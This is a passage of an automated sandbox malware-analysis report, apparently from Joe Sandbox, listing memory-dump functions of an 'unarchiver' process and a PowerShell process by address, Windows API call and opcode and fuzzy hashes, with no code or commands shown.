CreatePipe.KERNELBASE(?,00000E24,?,?), ref: 00C9AC36

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 7055f671cfb903f24582fad4177eea147d2660bae33d2e3ec5521546819f2ade
Instruction ID: 66d8f1208179d345312960559331efed6589c0325a54332f3b914cdb69fff08e
Opcode Fuzzy Hash: 7055f671cfb903f24582fad4177eea147d2660bae33d2e3ec5521546819f2ade
Instruction Fuzzy Hash: C1017171600200AFD350DF26DD86B26FBE8FB88B24F14855AED089B642D735F915CBE5

Function 00C9A172 Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E24,?,?), ref: 00C9A1C2

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: ba5eba18b62ea15f31cbc61b86970d12adf7f96b666b96a3d1d30631c6c8f92f
Instruction ID: a755951c6eb0436d6eb5eabc3e7905931261d36cdb341175c5200bdd8a8f2fd2
Opcode Fuzzy Hash: ba5eba18b62ea15f31cbc61b86970d12adf7f96b666b96a3d1d30631c6c8f92f
Instruction Fuzzy Hash: 66017171600200AFD310DF26DD86B26FBE8EB88A24F14855AED089B642D735F915CBE5

Function 00C9A566 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetTempPathW.KERNELBASE(?,00000E24,?,?), ref: 00C9A5B6

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 34fd7d84f16ece89ba1f9597c7025559093e500254c9192e22980c3fc5c7c3f3
Instruction ID: 4d4b1be0026fd96f6c0ac9b6fa5ba8eb1b304cb5476034403fb7dac6f581cdf0
Opcode Fuzzy Hash: 34fd7d84f16ece89ba1f9597c7025559093e500254c9192e22980c3fc5c7c3f3
Instruction Fuzzy Hash: 1101D671500200AFD310DF16CD86B26FBE8FB88A20F14815AED085B742D735FA15CBE5

Function 00C9AFB2 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 00C9AFE4

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 2ada410d653bc3203af7d8719460aa62f1b8083a3ebdd56f7af5ce7359858067
Instruction ID: 1983a1f2ddf0b691dba7353d317b9191937ebe4e2593a33dede7fe6157449765
Opcode Fuzzy Hash: 2ada410d653bc3203af7d8719460aa62f1b8083a3ebdd56f7af5ce7359858067
Instruction Fuzzy Hash: 1D0128B55002409FDF108F26D889762FBE4EF04720F08C0AADD1A8B752D379E958DFA2

Function 00C9A2DA Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 00C9A30C

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 645f3e0860bad4bb93349166332e52ec4f273d3c9e0098e77b91b05630b7441c
Instruction ID: 9aa014b62dab6ac9fc6093f04d7464d7e0089e11db4b78484703acfba3cc5022
Opcode Fuzzy Hash: 645f3e0860bad4bb93349166332e52ec4f273d3c9e0098e77b91b05630b7441c
Instruction Fuzzy Hash: 09F0AF74404640DFDB208F16D889762FBE0EF04720F08C09ADD094B662D379E908CEA3

Function 013807A4 Relevance: 1.5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

\Oj, xrefs: 01380966

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID: \Oj
API String ID: 0-2889815623
Opcode ID: 3c574f17ef81c8429fee57ad35427265ce3def41fe92043132585c05fa3a898f
Instruction ID: 2ffe71881b75042226443d6311ce609f06aa06ca6d07f5646a0974c36274d570
Opcode Fuzzy Hash: 3c574f17ef81c8429fee57ad35427265ce3def41fe92043132585c05fa3a898f
Instruction Fuzzy Hash: B6A16C34B002048FDB19AB74D85977EB7B3EB8830CF168429E90697395DF79CD428B95

Function 01380CA8 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

[Mm, xrefs: 01380D43, 01380D48

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID: [Mm
API String ID: 0-1029893258
Opcode ID: b7b612695ee5d303039b4dd9064e588c0c0540d486b39cdc4bff2f334e8ac86a
Instruction ID: 33c27c519aa64681a4d65205241ae079f4478f7e7a5d0bade41d67833c197599
Opcode Fuzzy Hash: b7b612695ee5d303039b4dd9064e588c0c0540d486b39cdc4bff2f334e8ac86a
Instruction Fuzzy Hash: FE21E5707006048FCB19FB3584447AFBBE69FC6208B45882DD586DB382DF76ED068796

Function 01380CA5 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

[Mm, xrefs: 01380D43, 01380D48

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID: [Mm
API String ID: 0-1029893258
Opcode ID: 9ede95bfec432e747462262b0e6a5ea0131674a59c51f6a20f1ed410353a2c05
Instruction ID: c33aba8601f249c047890c3cfdc627d178ccc375645d5af84d9ecb916f12c809
Opcode Fuzzy Hash: 9ede95bfec432e747462262b0e6a5ea0131674a59c51f6a20f1ed410353a2c05
Instruction Fuzzy Hash: 602106707002048FCB19EB3984847AFBBE69FC6208B45842DD586DB382CF36DD068795

Function 00C9A6D4 Relevance: 1.3, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 00C9A748

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fb5c14213dedbb52b4dabf37c6289e839dd0945259ee0e46c45b4ceafdbb5fd2
Instruction ID: 392fe75783e7ce74e8466d22f24fe311183ac418b8ef898040b9e1739130ea80
Opcode Fuzzy Hash: fb5c14213dedbb52b4dabf37c6289e839dd0945259ee0e46c45b4ceafdbb5fd2
Instruction Fuzzy Hash: 9F2192B55097C05FDB128B25DC95792BFB4EF17320F0984DADC858F5A3D2249908C772

Function 00C9A716 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 00C9A748

Memory Dump Source

Source File: 00000003.00000002.2259196889.0000000000C9A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c9a000_unarchiver.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5b555aa8c36d41df56734bc83b8b299339ce75fd75bbaf909667fa1b48baf7cc
Instruction ID: 30feb21620d1294a037b85d5d862526c2d5edfceae69e944936d3c7bf3d05390
Opcode Fuzzy Hash: 5b555aa8c36d41df56734bc83b8b299339ce75fd75bbaf909667fa1b48baf7cc
Instruction Fuzzy Hash: AB018F759042409FDB10CF69D98A766FBE4DF05320F18C4AADD098B652D379E944CAA2

Function 013802C0 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21fe9c44ab6bac75bb9bf56ff9764c202e986d6cc8956fea1844d3fcbe0498f5
Instruction ID: 420ded389bf19ef7c6896a055cd6179468f6878941fb5ec3d12eb1db4f4ad697
Opcode Fuzzy Hash: 21fe9c44ab6bac75bb9bf56ff9764c202e986d6cc8956fea1844d3fcbe0498f5
Instruction Fuzzy Hash: 79B11939701210DFC718FB64E998B5E7BB2FF89258B518429E906DB359DB309D05CFA0

Function 01380B9D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65729e5a1eeaedd7f14a278ac4a1d5607e5da999cd2fbe7d859faae912595e7e
Instruction ID: a729cc2089c70ba07662487633a3fa65f59a639133ce00a0daf5eae04bb869cb
Opcode Fuzzy Hash: 65729e5a1eeaedd7f14a278ac4a1d5607e5da999cd2fbe7d859faae912595e7e
Instruction Fuzzy Hash: FF116D35A10118AFCB14ABB4D8489DE7BF2AF88214B064465E606E7276DF319C098BA0

Function 01380BA0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adaaa98719737da42103735adc47fd02213e6324865a3386baee49c8e60f6eba
Instruction ID: e118e46aa54edd05f1a148b916664e0602a00ebe98925c71fed57c9eb1d5cf92
Opcode Fuzzy Hash: adaaa98719737da42103735adc47fd02213e6324865a3386baee49c8e60f6eba
Instruction Fuzzy Hash: B1114F35A10218AFCB14ABB4D84899E7BF6FF8C214B064475E606E7275DF31AC0587A1

Function 011B0807 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2263963728.00000000011B0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9a6663812e62c5162d16bc66b0b4b6cd671db0f2c8ebd8ed09c9b3b60a8486
Instruction ID: 484c24e06326aaa50b9dee2964d8b1860cbbb38f14b7fc158c8c5c631b956127
Opcode Fuzzy Hash: db9a6663812e62c5162d16bc66b0b4b6cd671db0f2c8ebd8ed09c9b3b60a8486
Instruction Fuzzy Hash: 3B01F7F68496406FC3018B51AC45C57FBFCDF86525F08C56AFC488B202E225EA098BF2

Function 011B05DF Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2263963728.00000000011B0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2147750a76293b7ce636f9525c710e11474d2fcd7ba94890770bcf026ac4de6e
Instruction ID: d23e82c4bcfe0b5b2ab2ee89cc635a162f29fa0d300a063938b37664cf4e4704
Opcode Fuzzy Hash: 2147750a76293b7ce636f9525c710e11474d2fcd7ba94890770bcf026ac4de6e
Instruction Fuzzy Hash: 6F01F9B65497806FC7118B16EC40897FFE8DF8623070984ABE8488B753D139B909CBB2

Function 011B082E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2263963728.00000000011B0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9fcb80925da1c9e8a99c7929e9c1d81cb0f79ed79767cbf7c7508773633aa2e
Instruction ID: eabad57977ef3d0d550cb63d74996fb5132862bf9c6de99ed258e0ef7e55603c
Opcode Fuzzy Hash: d9fcb80925da1c9e8a99c7929e9c1d81cb0f79ed79767cbf7c7508773633aa2e
Instruction Fuzzy Hash: ECF082B69452046FD200DF55ED46856F7ECDF94521F04C56AEC088B701E276AA158AE2

Function 011B0606 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2263963728.00000000011B0000.00000040.00000020.00020000.00000000.sdmp, Offset: 011B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a47715e5ec7e8fe6cd6772ff29d752339092faf534bbc1ea4362fe53e113ab
Instruction ID: 0f3cc1090be8fbfdbd218f4035f3df37e04949a5e1ca879710f70ada1c5be4c9
Opcode Fuzzy Hash: 25a47715e5ec7e8fe6cd6772ff29d752339092faf534bbc1ea4362fe53e113ab
Instruction Fuzzy Hash: DEE092BA6406005BD650CF0AEC41452F7D8EB88630708C07FDC0D8B711E639B509CBA5

Function 01380C5C Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d856ef6118244a9cd733ef1640bc136a99ca69fcc1b3ec17a393f8a36f0ffae9
Instruction ID: 33049ad3c46ade4720dd130957c5a2c15638e4fa73b35fa7cd7f20e14786ed43
Opcode Fuzzy Hash: d856ef6118244a9cd733ef1640bc136a99ca69fcc1b3ec17a393f8a36f0ffae9
Instruction Fuzzy Hash: B2E0C231F102282B8B44EBF8584419EBBE6AB84064B864079E009D7301EE30CD4183E0

Function 01380C60 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1af58d4f79375eca2733a5cf9e49a0a9ad37a7b3e6df7cd4c7bfa5464c8f40dc
Instruction ID: f77412c849551abbd7796a69071bf75c007f0369c1f3001a561636d41d52c5f0
Opcode Fuzzy Hash: 1af58d4f79375eca2733a5cf9e49a0a9ad37a7b3e6df7cd4c7bfa5464c8f40dc
Instruction Fuzzy Hash: 20D0C731F003282B8B48EBB888441AEBBEAAB84064B468079E009D3301EE30984183A0

Function 00C923F4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2259116052.0000000000C92000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C92000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c92000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61bdc8a46b9fe7d28e7348dd494e676f7489f6489333d41fd704bf77e909c3ac
Instruction ID: 7b8fce45f67bd5806f4c2e9424fc2d32a81c57df7e5cd1a1c8291fd180177cc9
Opcode Fuzzy Hash: 61bdc8a46b9fe7d28e7348dd494e676f7489f6489333d41fd704bf77e909c3ac
Instruction Fuzzy Hash: 09D05EB92056815FDB169E1CC1A9B9537D8AB61718F4A44F9E8408B763C768DA81E600

Function 00C923BC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2259116052.0000000000C92000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C92000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c92000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e271b6ec2a2c90980c70754fe6909e8ba14f6bd2fb86897be6d2e4bce07e9c5
Instruction ID: 407d1602c3dbedf683f22ff6e33949ec316e3d8a44a8914f1ff574c76a2ee34d
Opcode Fuzzy Hash: 6e271b6ec2a2c90980c70754fe6909e8ba14f6bd2fb86897be6d2e4bce07e9c5
Instruction Fuzzy Hash: AED05E342002814BCB15DE1CC2D8F5933D8BB40714F1A44E8AC608B272C7A8D9C1CA00

Function 01380DDC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9dd3ac9686ef5b0e6d2d1a092849b50d41f245406e35aa4296458d973dfb6f6
Instruction ID: 24db3b515c8cd5ccb0276bf04964c8d2ae94ae616225ff2271f0d1b63091f8f8
Opcode Fuzzy Hash: f9dd3ac9686ef5b0e6d2d1a092849b50d41f245406e35aa4296458d973dfb6f6
Instruction Fuzzy Hash: 48D0A7302402004FD719A738D459A5A3F525BD0208F15C158D0098B2A2C671C848C640

Function 01380E10 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8cdfa04c65d66edb1b055e13ecdc8764a550a6be09e659ebded251604bb95b6
Instruction ID: bc1d4691fdb78380f6e57a04136b7995d282f79194696e67013af370129c0a36
Opcode Fuzzy Hash: d8cdfa04c65d66edb1b055e13ecdc8764a550a6be09e659ebded251604bb95b6
Instruction Fuzzy Hash: D6D0A9242213408FD709BB388428A29BB916BC9208F8AC064EA881B3A2CA70DC01CB80

Function 01380E18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e7aeb2ce0826529a3f6d8a9b504e1f87777a84b220bf54ba83dd548bf719e30
Instruction ID: fad270022b47c4fc6988b65b8f58454afb9b67566e07e71abdfa4b089c9c0b8f
Opcode Fuzzy Hash: 4e7aeb2ce0826529a3f6d8a9b504e1f87777a84b220bf54ba83dd548bf719e30
Instruction Fuzzy Hash: 65C012302013048FD71CB77CD558A297B955BD8208F86C06495085B295CA70EC44C644

Function 01380DE0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2264060358.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59176e3534df0a154d5b5d90525671e8251d7683691497bd77ca3e21063c1002
Instruction ID: 308007dac5f4d363fda4c4f2db08a16fb4e2138b99cc939258446465d9024352
Opcode Fuzzy Hash: 59176e3534df0a154d5b5d90525671e8251d7683691497bd77ca3e21063c1002
Instruction Fuzzy Hash: 29C012302003048FD71CB76CD558A267B966BD4208F46C064D5084B295CA70EC44C684

Analysis Process: powershell.exePID: 1436, Parent PID: 6152COMMON

Executed Functions

Function 06FF3148 Relevance: 24.7, Strings: 19, Instructions: 941COMMON

Download Yara Rule

Strings

tP]q, xrefs: 06FF3528
4']q, xrefs: 06FF3669
$]q, xrefs: 06FF3BBE
tP]q, xrefs: 06FF382C
4']q, xrefs: 06FF38A9
$]q, xrefs: 06FF3A7C
4']q, xrefs: 06FF33D0
$]q, xrefs: 06FF3A8C
4']q, xrefs: 06FF365D
$]q, xrefs: 06FF387E
$]q, xrefs: 06FF3A2D
tP]q, xrefs: 06FF3838
,esq, xrefs: 06FF3AD4
$]q, xrefs: 06FF3BCA
$]q, xrefs: 06FF3BA6
tP]q, xrefs: 06FF351C
4']q, xrefs: 06FF38B5
4']q, xrefs: 06FF33C6
$]q, xrefs: 06FF37F2

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID: ,esq$4']q$4']q$4']q$4']q$4']q$4']q$tP]q$tP]q$tP]q$tP]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1020817424
Opcode ID: fcfd1ce7c34b3625b02d570bddaf8a823e80cb3c395378877f8a68c179e6198e
Instruction ID: 2ed98640fee0e2fd687b44958fa8677f9a53201338e38d0f3ce6ae149bfa109a
Opcode Fuzzy Hash: fcfd1ce7c34b3625b02d570bddaf8a823e80cb3c395378877f8a68c179e6198e
Instruction Fuzzy Hash: FA625933F142058FDB658F698450A6ABBE6EFC5310B1488BADA45CB361DF32D845C7E1

Function 06FF1918 Relevance: 5.6, Strings: 4, Instructions: 581COMMON

Download Yara Rule

Strings

4']q, xrefs: 06FF1DB0
4']q, xrefs: 06FF1C56
4']q, xrefs: 06FF1DBA
4']q, xrefs: 06FF1C60

Memory Dump Source

Source File: 00000008.00000002.2234450295.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6ff0000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q
API String ID: 0-1785108022
Opcode ID: b610545ef73131d9cdca12a81a1cd966cac48ea09700a98d414fc305476e8e69
Instruction ID: 473c3bb60dd87f967999445c3c16c2b309a418221e4f4a31cef8d511280081ff
Opcode Fuzzy Hash: b610545ef73131d9cdca12a81a1cd966cac48ea09700a98d414fc305476e8e69
Instruction Fuzzy Hash: 21122531F14204CFCB65DB68882077ABBE6AFC2710F5488BADA45CB361DA36D945C7E1

Function 04714610 Relevance: 1.5, Strings: 1, Instructions: 286COMMON

Download Yara Rule

Strings

9n^, xrefs: 0471489A

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID: 9n^
API String ID: 0-2740338135
Opcode ID: 71a3433a133129fd2bdbdb687205c252a476aa17ec98fa51e73e641b790cdf3a
Instruction ID: 5591604d9506578d652c6e3a0df92b2ae7975cef655e2ee1ce889501b6aceb29
Opcode Fuzzy Hash: 71a3433a133129fd2bdbdb687205c252a476aa17ec98fa51e73e641b790cdf3a
Instruction Fuzzy Hash: 02B1E070A042459FCB15CF6CC8909AABBB1FF49310B15859AE859DB3A2C735FC91CBA0

Function 0471A008 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

8aq, xrefs: 0471A02E

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID: 8aq
API String ID: 0-538729646
Opcode ID: 2aa75ef278abb22870f1c10b46e30197d92b020ebcc30b335373006227654d06
Instruction ID: b096911a9ca2cc971127141efb3b4e07c745c84518edfae7fc11fda401315439
Opcode Fuzzy Hash: 2aa75ef278abb22870f1c10b46e30197d92b020ebcc30b335373006227654d06
Instruction Fuzzy Hash: C90126353002005FC705AB7DE844A6ABBD9EFC92147144479E549C7391DF75AC41C7A1

Function 047129F0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db27d31dfae308d5d5d4cccbdedae872dcdf45646f6012bd72b5ebb99524aed5
Instruction ID: bd4e9370bd2eb840768f5b1586c12177ef0fdf4d3618b8c99651494b4faed768
Opcode Fuzzy Hash: db27d31dfae308d5d5d4cccbdedae872dcdf45646f6012bd72b5ebb99524aed5
Instruction Fuzzy Hash: E0917974A002498FCB15CF5CC5949AEFBB1FF88310B24869AD955AB366C735FC91CBA0

Function 047196A8 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f14ee597a00d54c5d4aaddad13e437f7efc4f71d22d6eb3b86cb05ee3ee2c1ff
Instruction ID: f4dee9f5798a9a969800a4e0b88c4ecc00525f7384d2d677a2714d0354dc9c54
Opcode Fuzzy Hash: f14ee597a00d54c5d4aaddad13e437f7efc4f71d22d6eb3b86cb05ee3ee2c1ff
Instruction Fuzzy Hash: D3818F74A00249CFCB05DFA8C594A9DBBF2EF85304F158199E5069F366DB74ED8ACB80

Function 04719D46 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5eaa481a3c7168229fd60073e7306b2eb116fff9549e2c4ecfeec9f888cba2d
Instruction ID: b533cb53944c981aba80391bda244c28f560bf35b56cc5469a080b0787dd9d22
Opcode Fuzzy Hash: a5eaa481a3c7168229fd60073e7306b2eb116fff9549e2c4ecfeec9f888cba2d
Instruction Fuzzy Hash: E07142B0E002089FDB14DFB9D494AADBBF6FF84308F148429D506AB360DB35AD46CB51

Function 04719740 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eef75284c17449d0c2d1d4de98842822532dbac761d0c93db0db7e7f8cb93dc6
Instruction ID: ff9d322d5b6ce7403d22267c64bff3e462f6d82c62b18ec4b976502ced25a904
Opcode Fuzzy Hash: eef75284c17449d0c2d1d4de98842822532dbac761d0c93db0db7e7f8cb93dc6
Instruction Fuzzy Hash: BB614E74A00249CFDB05DFA8D994A9DBBB2FF84304F148159E502AF369DB74ED89CB80

Function 0471A0C0 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57984f269029aba6b15b5d06c8af9d8c28154a45e29bdb29346c566b4e7b516e
Instruction ID: b5f1de5e530843f29ce93148d1a150f51ed7ff8305faa488e1207bb8a9680877
Opcode Fuzzy Hash: 57984f269029aba6b15b5d06c8af9d8c28154a45e29bdb29346c566b4e7b516e
Instruction Fuzzy Hash: 4C516F31A012148FDB19DF68C558AAEBBF2FF89314F19846DD806EB761EB35AC41CB50

Function 04719750 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2212931879.0000000004710000.00000040.00000800.00020000.00000000.sdmp, Offset: 04710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b2c5726ef8312002169270c95b25089f66fcbc3e60fe2540ca6bd2ae444c00
Instruction ID: b8c0ff7daccd87cb8266e6bd03c21c7cb20a03ab7a0ec0f7354b907268d61543
